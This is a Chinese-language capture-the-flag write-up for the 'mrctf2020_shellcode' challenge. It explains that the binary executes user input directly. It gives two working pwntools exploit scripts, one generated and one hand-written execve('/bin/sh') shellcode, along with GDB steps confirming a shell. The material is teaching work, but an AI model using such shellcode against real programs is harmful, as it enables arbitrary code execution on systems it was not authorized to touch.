mrctf2020_shellcode

温馨提示:点击页面下方以展开或折叠目录~

mrctf2020_shellcode

image

程序逻辑

  • 打印“Show me your magic!”

  • 从buf中读取0x400字节的内容

  • eax存放读取的字节数,与0比较,大于0则跳转到loc_11D6,否则退出程序

    1
    2
    CMP leftOp, rightOp
    JG function ;大于跳转(left>right)
  • loc_11D6: 将写入的内容地址给rax,然后调用执行

PWN

查看保护

image

编写脚本

  • 使用pwntools生成shellcode
1
2
3
4
5
6
7
8
9
10
from pwn import *

context(os='linux', arch='amd64')
p = process('./mrctf2020_shellcode')
shellcode = shellcraft.sh()
payload = asm(shellcode)

#gdb.attach(p)
p.send(payload)
p.interactive()
  • 使用自己编写的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os='linux', arch='amd64')
p = process('./mrctf2020_shellcode')

shellcode = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''

payload = asm(shellcode)
#gdb.attach(p)
p.send(payload)
p.interactive()

调试

  • 断点打在call rax

image

image

  • vmmap查看程序基址(0x55654d65e000)
  • 加上偏移(0x11dd)就是call rax地址
  • 打好断点后发送payload,可以发现已经断在call rax

image

  • 回到调试界面,s单步进入函数查看发现shellcode已经被写入函数

image

  • 一直往下走,直到发现此时已经启动一个新程序/bin/dash,说明已经拿到shell

image

结果

  • 使用pwntools生成的shellcode

image

  • 使用自己编写的shellcode

    • 单步进入函数后发现也成功写入

      image

    • 同样的也能启动/bin/dash

      image

    • 最终结果

    image